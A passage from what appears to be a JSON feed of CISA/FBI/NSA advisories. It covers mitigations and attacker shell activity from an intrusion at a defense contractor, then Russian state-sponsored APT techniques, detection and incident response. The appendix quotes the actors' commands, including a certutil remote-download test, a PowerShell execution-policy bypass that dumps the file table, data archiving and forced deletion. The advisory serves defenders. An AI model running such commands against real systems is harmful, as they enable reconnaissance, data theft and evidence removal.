intentional or otherwise.\n\n### Restrict and Secure Use of Remote Admin Tools\n\n * **Limit the number of remote access tools as well as who and what can be accessed using them**. Reducing the number of remote admin tools and their allowed access will increase visibility of unauthorized use of these tools.\n * **Use encrypted services to protect network communications and disable all clear text administration services**(e.g., Telnet, HTTP, FTP, SNMP 1/2c). This ensures that sensitive information cannot be easily obtained by a threat actor capturing network traffic.\n\n### Implement a Mandatory Access Control Model\n\n * **Implement stringent access controls to sensitive data and resources**. Access should be restricted to those users who require access and to the minimal level of access needed.\n\n### Audit Account Usage\n\n * **Monitor VPN logins to look for suspicious access** (e.g., logins from unusual geo locations, remote logins from accounts not normally used for remote access, concurrent logins for the same account from different locations, unusual times of the day).\n * **Closely monitor the use of administrative accounts**. Admin accounts should be used sparingly and only when necessary, such as installing new software or patches. Any use of admin accounts should be reviewed to determine if the activity is legitimate.\n * **Ensure standard user accounts do not have elevated privileges** Any attempt to increase permissions on standard user accounts should be investigated as a potential compromise.\n\n### VALIDATE SECURITY CONTROLS\n\nIn addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization's security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.\n\nTo get started:\n\n 1. Select an ATT&CK technique described in this advisory (see Table 1).\n 2. Align your security technologies against the technique.\n 3. Test your technologies against the technique.\n 4. Analyze the performance of your detection and prevention technologies.\n 5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.\n 6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.\n\nCISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.\n\n### RESOURCES\n\nCISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See [cisa.gov/cyber-hygiene-services](<https://www.cisa.gov/cyber-hygiene-services>).\n\nU.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center\u2019s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email [dib_defense@cyber.nsa.gov](<mailto:dib_defense@cyber.nsa.gov>).\n\n### ACKNOWLEDGEMENTS\n\nCISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.\n\n### APPENDIX: WINDOWS COMMAND SHELL ACTIVITY\n\nOver a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim\u2019s environment. When interacting with the victim\u2019s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.\n\nOn the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization\u2019s environment and to collect sensitive data for eventual exfiltration (see Table 2).\n\n_Table 2: Windows Command Shell Activity (Day 1)_\n\nCommand\n\n| \n\nDescription / Use \n \n---|--- \n \nnet share\n\n| \n\nUsed to create, configure, and delete network shares from the command-line.[[1](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh750728\\(v=ws.11\\)>)] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit. \n \npowershell dir\n\n| \n\nAn alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[[2](<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-7.2>)] The threat actor added additional switches (aka options, parameters, or flags) to form a \u201cone liner,\u201d an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:\\<redacted>|select fullname,length|export-csv c:\\windows\\temp\\temp.txt. This particular command lists subdirectories of the target environment when. \n \nsysteminfo\n\n| \n\nDisplays detailed configuration information [[3](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo>)], tasklist \u2013 lists currently running processes [[4](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist>)], and ipconfig \u2013 displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [[5](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig>)]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /. \n \nroute print\n\n| \n\nUsed to display and modify the entries in the local IP routing table. [[6](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961510\\(v=ws.11\\)>)] The threat actor used this command to display the entries in the local IP routing table. \n \nnetstat\n\n| \n\nUsed to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[[7](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netstat>)] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp. \n \ncertutil\n\n| \n\nUsed to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[[8](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil>)] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html. \n \nping\n\n| \n\nSends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[[9](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ping>)] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions. \n \ntaskkill\n\n| \n\nUsed to end tasks or processes.[[10](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/taskkill>)] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic. \n \nPowerShell Compress-Archive cmdlet\n\n| \n\nUsed to create a compressed archive or to zip files from specified files and directories.[[11](<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/compress-archive?view=powershell-7.2>)] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives. \n \nOn the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.\n\n_Table 3: Windows Command Shell Activity (Day 2)_\n\nCommand\n\n| \n\nDescription / Use \n \n---|--- \n \nntfsinfo.exe\n\n| \n\nUsed to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[[12](<https://docs.microsoft.com/en-us/sysinternals/downloads/ntfsinfo>)] \n \nWinRAR.exe\n\n| \n\nUsed to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[[13](<https://www.rarlab.com/>)] \n \nOn the third day, the APT cyber actors returned to the organization\u2019s network and executed the commands in Table 4.\n\n_Table 4: Windows Command Shell Activity (Day 3)_\n\nCommand\n\n| \n\nDescription / Use \n \n---|--- \n \npowershell -ep bypass import-module .\\vmware.ps1;export-mft -volume e\n\n| \n\nThreat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .\\vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[[14](<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/import-module?view=powershell-7.2>)] \n \nset.exe\n\n| \n\nUsed to display the current environment variable settings.[[15](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/set_1>)] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same). \n \ndir.exe\n\n| \n\nUsed to display a list of a directory's files and subdirectories matching the eagx* text string, likely to confirm the existence of such file. \n \ntasklist.exe and find.exe\n\n| \n\nUsed to display a list of applications and services with their PIDs for all tasks running on the computer matching the string \u201cpowers\u201d.[[16](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist>)][[17](<https://attack.mitre.org/software/S0057/>)][[18](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/find>)] \n \nping.exe\n\n| \n\nUsed to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[[19](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ping>)] \n \ndel.exe with the /f parameter\n\n| \n\nUsed to force the deletion of read-only files with the *.rar and tempg* wildcards.[[20](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/del>)] \n \n### References\n\n[[1] Microsoft Net Share](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh750728\\(v=ws.11\\)>)\n\n[[2] Microsoft Get-ChildItem](<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem?view=powershell-7.2>)\n\n[[3] Microsoft systeminfo](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo>)\n\n[[4] Microsoft tasklist](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist>)\n\n[[5] Microsoft ipconfig](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig>)\n\n[[6] Microsoft Route](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961510\\(v=ws.11\\)>)\n\n[[7] Microsoft netstat](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netstat>)\n\n[ [8] Microsoft certutil](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil>)\n\n[[9] Microsoft ping](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ping>)\n\n[[10] Microsoft taskkill](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/taskkill>)\n\n[[11] Microsoft Compress-Archive](<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/compress-archive?view=powershell-7.2>)\n\n[[12] NTFSInfo v1.2](<https://docs.microsoft.com/en-us/sysinternals/downloads/ntfsinfo>)\n\n[[13] rarlab](<https://www.rarlab.com/>)\n\n[[14] Microsoft Import-Module](<https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/import-module?view=powershell-7.2>)\n\n[[15] Microsoft set (environment variable)](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/set_1>)\n\n[[16] Microsoft tasklist](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist>)\n\n[[17] Mitre ATT&CK - Sofware: TaskList](<https://attack.mitre.org/versions/v11/software/S0057/>)\n\n[[18] Microsoft find](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/find>)\n\n[[19] Microsoft ping](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ping>)\n\n[[20] Microsoft del](<https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/del>)\n\n### Revisions\n\nOctober 4, 2022: Initial version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-05T12:00:00", "type": "ics", "title": "Impacket and Exfiltration Tool Used to Steal Sensitive Information from Defense Industrial Base Organization", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-10-05T12:00:00", "id": "AA22-277A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-277a", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-03-14T18:28:44", "description": "### Summary\n\n_**Actions Critical Infrastructure Organizations Should Implement to Immediately Strengthen Their Cyber Posture.** \n\u2022 Patch all systems. Prioritize patching [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)._ \n\u2022 Implement [multi-factor authentication](<https://us-cert.cisa.gov/ncas/tips/ST05-012>). \n\u2022 _Use antivirus software._ \n_\u2022 Develop internal contact lists and surge support._\n\n___**Note:** this advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK\u00ae) framework, version 10. See the [ATT&CK for Enterprise](<https://attack.mitre.org/versions/v9/techniques/enterprise/>) for all referenced threat actor tactics and techniques.___\n\nThis joint Cybersecurity Advisory (CSA)\u2014authored by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA)\u2014is part of our continuing cybersecurity mission to warn organizations of cyber threats and help the cybersecurity community reduce the risk presented by these threats. This CSA provides an overview of Russian state-sponsored cyber operations; commonly observed tactics, techniques, and procedures (TTPs); detection actions; incident response guidance; and mitigations. This overview is intended to help the cybersecurity community reduce the risk presented by these threats.\n\nCISA, the FBI, and NSA encourage the cybersecurity community\u2014especially critical infrastructure network defenders\u2014to adopt a heightened state of awareness and to conduct proactive threat hunting, as outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network defenders to implement the recommendations listed below and detailed in the Mitigations section. These mitigations will help organizations improve their functional resilience by reducing the risk of compromise or severe business degradation.\n\n 1. **Be prepared**. Confirm reporting processes and minimize personnel gaps in IT/OT security coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and continuity of operations plan so that critical functions and operations can be kept running if technology systems are disrupted or need to be taken offline.\n 2. **Enhance your organization\u2019s cyber posture**. Follow best practices for identity and access management, protective controls and architecture, and vulnerability and configuration management.\n 3. **Increase organizational vigilance**. Stay current on reporting on this threat. [Subscribe](<https://public.govdelivery.com/accounts/USDHSCISA/subscriber/new?qsp=CODE_RED>) to CISA\u2019s [mailing list and feeds](<https://www.cisa.gov/uscert/mailing-lists-and-feeds>) to receive notifications when CISA releases information about a security topic or threat.\n\nCISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA Insights: [Preparing for and Mitigating Cyber Threats](<https://cisa.gov/sites/default/files/publications/CISA_INSIGHTS-Preparing_For_and_Mitigating_Potential_Cyber_Threats-508C.pdf>) for information on reducing cyber threats to their organization.\n\nClick here for a PDF version of this report.\n\n### Technical Details\n\nHistorically, Russian state-sponsored advanced persistent threat (APT) actors have used common but effective tactics\u2014including spearphishing, brute force, and exploiting known vulnerabilities against accounts and networks with weak security\u2014to gain initial access to target networks. Vulnerabilities known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) FortiGate VPNs\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) Cisco router\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) Oracle WebLogic Server\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) Kibana\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) Zimbra software\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) Exim Simple Mail Transfer Protocol\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) Pulse Secure\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) Citrix\n * [CVE-2020-0688 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)Microsoft Exchange\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) VMWare (note: this was a zero-day at time.)\n * [CVE-2020-5902 ](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>)F5 Big-IP\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) Oracle WebLogic\n * [CVE-2021-26855 ](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)Microsoft Exchange (Note: this vulnerability is frequently observed used in conjunction with [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\nRussian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware. The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments\u2014including cloud environments\u2014by using legitimate credentials.\n\nIn some cases, Russian state-sponsored cyber operations against critical infrastructure organizations have specifically targeted operational technology (OT)/industrial control systems (ICS) networks with destructive malware. See the following advisories and alerts for information on historical Russian state-sponsored cyber-intrusion campaigns and customized malware that have targeted ICS:\n\n * ICS Advisory [ICS Focused Malware \u2013 Havex](<https://us-cert.cisa.gov/ics/advisories/ICSA-14-178-01>)\n * ICS Alert [Ongoing Sophisticated Malware Campaign Compromising ICS (Update E)](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-14-281-01B>)\n * ICS Alert [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/IR-ALERT-H-16-056-01>)\n * Technical Alert [CrashOverride Malware](<https://us-cert.cisa.gov/ncas/alerts/TA17-163A>)\n * CISA MAR [HatMan: Safety System Targeted Malware (Update B)](<https://us-cert.cisa.gov/ics/MAR-17-352-01-HatMan-Safety-System-Targeted-Malware-Update-B>)\n * CISA ICS Advisory [Schneider Electric Triconex Tricon (Update B)](<https://us-cert.cisa.gov/ics/advisories/ICSA-18-107-02>)\n\nRussian state-sponsored APT actors have used sophisticated cyber capabilities to target a variety of U.S. and international critical infrastructure organizations, including those in the Defense Industrial Base as well as the Healthcare and Public Health, Energy, Telecommunications, and Government Facilities Sectors. High-profile cyber activity publicly attributed to Russian state-sponsored APT actors by U.S. government reporting and legal actions includes:\n\n * **Russian state-sponsored APT actors targeting state, local, tribal, and territorial (SLTT) governments and aviation networks, September 2020, through at least December 2020.** Russian state-sponsored APT actors targeted dozens of SLTT government and aviation networks. The actors successfully compromised networks and exfiltrated data from multiple victims.\n * **Russian state-sponsored APT actors\u2019 global Energy Sector intrusion campaign, 2011 to 2018. **These Russian state-sponsored APT actors conducted a multi-stage intrusion campaign in which they gained remote access to U.S. and international Energy Sector networks, deployed ICS-focused malware, and collected and exfiltrated enterprise and ICS-related data.\n * **Russian state-sponsored APT actors\u2019 campaign against Ukrainian critical infrastructure, 2015 and 2016.** Russian state-sponsored APT actors conducted a cyberattack against Ukrainian energy distribution companies, leading to multiple companies experiencing unplanned power outages in December 2015. The actors deployed [BlackEnergy](<https://attack.mitre.org/versions/v10/software/S0089>) malware to steal user credentials and used its destructive malware component, KillDisk, to make infected computers inoperable. In 2016, these actors conducted a cyber-intrusion campaign against a Ukrainian electrical transmission company and deployed [CrashOverride ](<https://attack.mitre.org/versions/v10/software/S0604>)malware specifically designed to attack power grids.\n\nFor more information on recent and historical Russian state-sponsored malicious cyber activity, see the referenced products below or [cisa.gov/Russia](<https://www.cisa.gov/uscert/russia>).\n\n * Joint FBI-DHS-CISA CSA [Russian Foreign Intelligence Service (SVR) Cyber Operations: Trends and Best Practices for Network Defenders](<https://us-cert.cisa.gov/ncas/alerts/aa21-116a>)\n * Joint NSA-FBI-CISA CSA [Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments](<https://media.defense.gov/2021/jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)\n * Joint FBI-CISA CSA [Russian State-Sponsored Advanced Persistent Threat Actor Compromises U.S. Government Targets](<https://www.cisa.gov/uscert/ncas/alerts/aa20-296a>)\n * Joint CISA-FBI CSA [APT Actors Chaining Vulnerabilities against SLTT, Critical Infrastructure, and Elections Organizations](<https://www.cisa.gov/uscert/ncas/alerts/aa20-283a>)\n * CISA\u2019s webpage [Remediating Networks Affected by the SolarWinds and Active Directory/M365 Compromise](<https://us-cert.cisa.gov/remediating-apt-compromised-networks>)\n * CISA Alert [Russian Government Cyber Activity Targeting Energy Sector and Other Critical Infrastructure Sectors](<https://us-cert.cisa.gov/ncas/alerts/TA18-074A>)\n * CISA ICS Alert: [Cyber-Attack Against Ukrainian Critical Infrastructure](<https://us-cert.cisa.gov/ics/alerts/ir-alert-h-16-056-01>)\n\nTable 1 provides common, publicly known TTPs employed by Russian state-sponsored APT actors, which map to the MITRE ATT&CK for Enterprise framework, version 10. **Note:** these lists are not intended to be all inclusive. Russian state-sponsored actors have modified their TTPs before based on public reporting.[[1](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>)] Therefore, CISA, the FBI, and NSA anticipate the Russian state-sponsored actors may modify their TTPs as they deem necessary to reduce their risk of detection. \n\n_Table 1: Common Tactics and Techniques Employed by Russian State-Sponsored APT Actors_\n\nTactic | **Technique** | **Procedure** \n---|---|--- \n \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]\n\n| \n\nActive Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)] \n \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \n \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]\n\n| \n\nRussian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \n \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)\n\n| \n\nDevelop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]\n\n| \n\nRussian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \n \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]\n\n| \n\nExploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]\n\n| \n\nRussian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \n \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]\n\n| \n\nRussian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \n \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]\n\n| \n\nCommand and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]\n\n| \n\nRussian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \n \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]\n\n| \n\nValid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]\n\n| \n\nRussian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \n \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]\n\n| \n\nBrute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]\n\n| \n\nRussian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \n \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]\n\n| \n\nRussian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \n \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]\n\n| \n\nRussian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \n \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]\n\n| \n\nRussian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \n \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]\n\n| \n\nRussian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \n \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]\n\n| \n\nRussian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \n \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]\n\n| \n\nProxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]\n\n| \n\nRussian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic. \n \nFor additional enterprise TTPs used by Russian state-sponsored APT actors, see the ATT&CK for Enterprise pages on [APT29](<https://attack.mitre.org/versions/v10/groups/G0016>), [APT28](<https://attack.mitre.org/versions/v10/groups/G0007>), and the [Sandworm Team](<https://attack.mitre.org/versions/v10/groups/G0034>), respectively. For information on ICS TTPs see the [ATT&CK for ICS](<https://collaborate.mitre.org/attackics/index.php/Main_Page>) pages on the [Sandworm Team](<https://collaborate.mitre.org/attackics/index.php/Group/G0007>), [BlackEnergy 3 ](<https://collaborate.mitre.org/attackics/index.php/software/S0004>)malware, [CrashOveride](<https://collaborate.mitre.org/attackics/index.php/software/S0001>) malware, BlackEnergy\u2019s [KillDisk](<https://collaborate.mitre.org/attackics/index.php/software/S0016>) component, and [NotPetya](<https://collaborate.mitre.org/attackics/index.php/software/S0006>) malware.\n\n### Detection\n\nGiven Russian state-sponsored APT actors demonstrated capability to maintain persistent, long-term access in compromised enterprise and cloud environments, CISA, the FBI, and NSA encourage all critical infrastructure organizations to:\n\n * **Implement robust log collection and retention.** Without a centralized log collection and monitoring capability, organizations have limited ability to investigate incidents or detect the threat actor behavior described in this advisory. Depending on the environment, examples include: \n * Native tools such as M365\u2019s Sentinel. \n * Third-party tools, such as Sparrow, Hawk, or CrowdStrike's Azure Reporting Tool (CRT), to review Microsoft cloud environments and to detect unusual activity, service principals, and application activity. **Note:** for guidance on using these and other detection tools, refer to CISA Alert [Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments](<https://us-cert.cisa.gov/ncas/alerts/aa21-008a>).\n * **Look for behavioral evidence or network and host-based artifacts **from known Russian state-sponsored TTPs. See table 1 for commonly observed TTPs. \n * To detect password spray activity, review authentication logs for system and application login failures of valid accounts. Look for multiple, failed authentication attempts across multiple accounts.\n * To detect use of compromised credentials in combination with a VPS, follow the below steps: \n * Look for suspicious \u201cimpossible logins,\u201d such as logins with changing username, user agent strings, and IP address combinations or logins where IP addresses do not align to the expected user\u2019s geographic location.\n * Look for one IP used for multiple accounts, excluding expected logins.\n * Look for \u201cimpossible travel.\u201d Impossible travel occurs when a user logs in from multiple IP addresses that are a significant geographic distance apart (i.e., a person could not realistically travel between the geographic locations of the two IP addresses during the time period between the logins). **Note:** implementing this detection opportunity can result in false positives if legitimate users apply VPN solutions before connecting into networks.\n * Look for processes and program execution command-line arguments that may indicate credential dumping, especially attempts to access or copy the `ntds.dit` file from a domain controller. \n * Look for suspicious privileged account use after resetting passwords or applying user account mitigations. \n * Look for unusual activity in typically dormant accounts.\n * Look for unusual user agent strings, such as strings not typically associated with normal user activity, which may indicate bot activity.\n * For organizations with OT/ICS systems: \n * Take note of unexpected equipment behavior; for example, unexpected reboots of digital controllers and other OT hardware and software. \n * Record delays or disruptions in communication with field equipment or other OT devices. Determine if system parts or components are lagging or unresponsive.\n\n### Incident Response\n\nOrganizations detecting potential APT activity in their IT or OT networks should:\n\n 1. Immediately isolate affected systems. \n 2. Secure backups. Ensure your backup data is offline and secure. If possible, scan your backup data with an antivirus program to ensure it is free of malware.\n 3. Collect and review relevant logs, data, and artifacts.\n 4. Consider soliciting support from a third-party IT organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.\n 5. Report incidents to [CISA](<https://www.cisa.gov/uscert/report>) and/or the FBI via your [local FBI field office](<http://www.fbi.gov/contact-us/field>) or the FBI\u2019s 24/7 CyWatch at (855) 292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>).\n\n**Note:** for OT assets, organizations should have a resilience plan that addresses how to operate if you lose access to\u2014or control of\u2014the IT and/or OT environment. Refer to the Mitigations section for more information.\n\nSee the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on [Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>) for guidance on hunting or investigating a network, and 